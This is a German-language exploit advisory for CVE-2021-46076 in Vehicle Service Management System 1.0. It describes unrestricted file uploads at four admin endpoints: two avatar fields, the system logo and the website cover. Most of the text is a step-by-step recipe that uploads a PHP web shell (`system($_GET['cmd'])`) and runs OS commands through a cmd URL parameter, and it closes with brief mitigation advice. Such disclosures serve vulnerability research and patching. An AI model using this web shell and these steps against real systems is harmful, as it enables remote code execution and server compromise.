CVE-2021-46076
Exploit Titel: Vehicle Service Management System - 'Mehrere' Datei-Uploads führen zur Codeausführung
CVE: CVE-2021-46076
CVSS: 8.8 HIGH
Referenzen:
Beschreibung:
Sourcecodester Vehicle Service Management System 1.0 ist anfällig für Datei-Uploads. Ein Angreifer kann eine schädliche PHP-Datei an mehreren Endpunkten hochladen, was zur Codeausführung führt.
1. Vehicle Service Management System - 'Mein Konto' (/admin/?page=user)
Exploit:
- Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
- Navigieren Sie zum Bereich „Mein Konto": http://localhost/vehicle_service/admin/?page=user
Payload:
<?php system($_GET['cmd']);?>
- Speichern Sie den obigen PHP-Code, z. B. als Cmd.php
- Geben Sie im Bereich „Mein Konto" alle erforderlichen Details ein und wählen Sie die PHP-Datei unter „Avatar" aus.
- Klicken Sie auf „Aktualisieren".
- Öffnen Sie das Avatar-Bild in einem neuen Tab.
- Fügen Sie den cmd-Parameter in die URL ein und führen Sie die Befehle aus.
- Finale URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Führen Sie alle Systembefehle aus, z. B. id, whoami, pwd usw.
2. Vehicle Service Management System - 'Benutzerliste' (/admin/?page=user/manage_user)
Exploit:
- Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
- Navigieren Sie zum Bereich „Benutzerliste" und klicken Sie auf „Neu erstellen".
Payload:
<?php system($_GET['cmd']);?>
- Speichern Sie den obigen PHP-Code, z. B. als Cmd.php
- Geben Sie auf der Seite „Neuen Benutzer erstellen" alle erforderlichen Details ein und wählen Sie die PHP-Datei unter „Avatar" aus.
- Klicken Sie auf „Speichern".
- Öffnen Sie das Avatar-Bild in einem neuen Tab.
- Fügen Sie den cmd-Parameter in die URL ein und führen Sie die Befehle aus.
- Finale URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Führen Sie alle Systembefehle aus, z. B. id, whoami, pwd usw.
3. Vehicle Service Management System - 'Einstellungen - System-Logo' (/admin/?page=system_info)
Exploit:
- Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
- Navigieren Sie zum Bereich „Einstellungen": http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- Speichern Sie den obigen PHP-Code, z. B. als Cmd.php
- Geben Sie im Bereich „Einstellungen" alle erforderlichen Details ein und wählen Sie die PHP-Datei unter „System-Logo" aus.
- Klicken Sie auf „Aktualisieren".
- Öffnen Sie das System-Logo-Bild in einem neuen Tab.
- Fügen Sie den cmd-Parameter in die URL ein und führen Sie die Befehle aus.
- Finale URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Führen Sie alle Systembefehle aus, z. B. id, whoami, pwd usw.
4. Vehicle Service Management System - 'Einstellungen - Website-Cover' (/admin/?page=system_info)
Exploit:
- Melden Sie sich im Admin-Panel an: http://localhost/vehicle_service/admin
- Navigieren Sie zum Bereich „Einstellungen": http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- Speichern Sie den obigen PHP-Code, z. B. als Cmd.php
- Geben Sie im Bereich „Einstellungen" alle erforderlichen Details ein und wählen Sie die PHP-Datei unter „Website-Cover" aus.
- Klicken Sie auf „Aktualisieren".
- Öffnen Sie das Website-Cover-Bild in einem neuen Tab.
- Fügen Sie den cmd-Parameter in die URL ein und führen Sie die Befehle aus.
- Finale URL: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Führen Sie alle Systembefehle aus, z. B. id, whoami, pwd usw.
Auswirkungen:
Ein Angreifer kann eine schädliche PHP-Datei an mehreren Endpunkten hochladen, was zur Codeausführung führt.
Gegenmaßnahmen:
Es wird empfohlen, Folgendes umzusetzen:
- Akzeptieren Sie niemals einen Dateinamen und dessen Erweiterung direkt ohne einen Whitelist-Filter.
- Wenn keine Unicode-Zeichen erforderlich sind, wird dringend empfohlen, nur alphanumerische Zeichen und nur einen Punkt als Eingabe für den Dateinamen und die Erweiterung zu akzeptieren.
- Begrenzen Sie die Dateigröße auf einen Maximalwert, um Denial-of-Service-Angriffe zu verhindern.
- Das Upload-Verzeichnis sollte keine „Ausführungs"-Berechtigung besitzen.
- Verlassen Sie sich nicht nur auf die clientseitige Validierung.